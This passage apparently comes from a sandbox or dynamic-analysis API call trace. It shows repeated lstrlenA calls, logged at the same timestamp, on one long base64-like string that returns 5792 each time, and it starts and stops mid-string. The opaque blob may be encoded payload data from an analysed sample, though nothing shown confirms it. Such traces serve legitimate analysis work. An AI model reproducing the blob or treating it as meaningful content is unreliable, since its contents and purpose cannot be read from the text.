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") returned 5792 [0042.886] lstrlenA (lpString="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") returned 5792 [0042.886] lstrlenA (lpString="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") returned 5792 [0042.886] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6Od